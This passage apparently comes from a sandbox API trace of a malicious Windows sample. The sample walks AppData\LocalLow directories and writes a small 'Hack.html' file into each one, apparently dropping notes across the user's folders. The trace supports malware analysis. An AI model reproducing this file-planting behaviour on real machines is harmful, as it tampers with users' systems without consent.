lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.094] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0078.095] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.096] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Hack.html", lpFilePart=0x0) returned 0x5b [0078.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.096] GetFileType (hFile=0x174) returned 0x1 [0078.096] GetFileType (hFile=0x174) returned 0x1 [0078.097] WriteFile (in: hFile=0x174, lpBuffer=0x285a030*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x285a030*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0078.097] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x52 [0078.097] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpFilePart=0x0) returned 0x53 [0078.097] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a768 [0078.098] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x52 [0078.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpFilePart=0x0) returned 0x53 [0078.098] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a768 [0078.098] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.099] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Hack.html", lpFilePart=0x0) returned 0x5c [0078.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.099] GetFileType (hFile=0x174) returned 0x1 [0078.099] GetFileType (hFile=0x174) returned 0x1 [0078.099] WriteFile (in: hFile=0x174, lpBuffer=0x28747a8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x28747a8*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0078.100] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Hack.html", lpFilePart=0x0) returned 0x53 [0078.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.100] GetFileType (hFile=0x174) returned 0x1 [0078.100] GetFileType (hFile=0x174) returned 0x1 [0078.101] WriteFile (in: hFile=0x174, lpBuffer=0x2876ff8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2876ff8*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0078.102] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12", lpFilePart=0x0) returned 0x3e [0078.102] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\", lpFilePart=0x0) returned 0x3f [0078.102] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.103] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.104] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12", lpFilePart=0x0) returned 0x3e [0078.104] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\", lpFilePart=0x0) returned 0x3f [0078.104] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.104] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.104] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\Hack.html", lpFilePart=0x0) returned 0x48 [0078.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\ime12\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.105] GetFileType (hFile=0x174) returned 0x1 [0078.105] GetFileType (hFile=0x174) returned 0x1 [0078.105] WriteFile (in: hFile=0x174, lpBuffer=0x287af04*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x287af04*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0078.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x3f [0078.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\", lpFilePart=0x0) returned 0x40 [0078.106] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.106] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x3f [0078.107] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\", lpFilePart=0x0) returned 0x40 [0078.107] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.107] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.107] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\Hack.html", lpFilePart=0x0) returned 0x49 [0078.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\imjp12\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.107] GetFileType (hFile=0x174) returned 0x1 [0078.107] GetFileType (hFile=0x174) returned 0x1 [0078.107] WriteFile (in: hFile=0x174, lpBuffer=0x287ee30*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x287ee30*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0078.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x40 [0078.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\", lpFilePart=0x0) returned 0x41 [0078.109] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.109] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x40 [0078.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\", lpFilePart=0x0) returned 0x41 [0078.109] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.109] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.110] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\Hack.html", lpFilePart=0x0) returned 0x4a [0078.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\imjp8_1\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.110] GetFileType (hFile=0x174) returned 0x1 [0078.110] GetFileType (hFile=0x174) returned 0x1 [0078.110] WriteFile (in: hFile=0x174, lpBuffer=0x2882dac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2882dac*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0078.111] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x40 [0078.111] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\", lpFilePart=0x0) returned 0x41 [0078.111] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.111] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.111] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x40 [0078.111] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\", lpFilePart=0x0) returned 0x41 [0078.111] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.112] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.112] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\Hack.html", lpFilePart=0x0) returned 0x4a [0078.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\imjp9_0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.112] GetFileType (hFile=0x174) returned 0x1 [0078.112] GetFileType (hFile=0x174) returned 0x1 [0078.112] WriteFile (in: hFile=0x174, lpBuffer=0x2886d28*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2886d28*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0078.113] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x4a [0078.114] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x4b [0078.114] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.115] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.115] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x4a [0078.115] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\", lpFilePart=0x0) returned 0x4b [0078.115] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a768 [0078.115] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.115] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore", lpFilePart=0x0) returned 0x53 [0078.115] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\", lpFilePart=0x0) returned 0x54 [0078.116] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a768 [0078.116] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.116] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore", lpFilePart=0x0) returned 0x53 [0078.116] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\", lpFilePart=0x0) returned 0x54 [0078.116] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a768 [0078.116] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.116] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T", lpFilePart=0x0) returned 0x5c [0078.116] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\", lpFilePart=0x0) returned 0x5d [0078.117] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a768 [0078.117] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.117] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T", lpFilePart=0x0) returned 0x5c [0078.117] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\", lpFilePart=0x0) returned 0x5d [0078.117] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a768 [0078.117] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0078.117] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 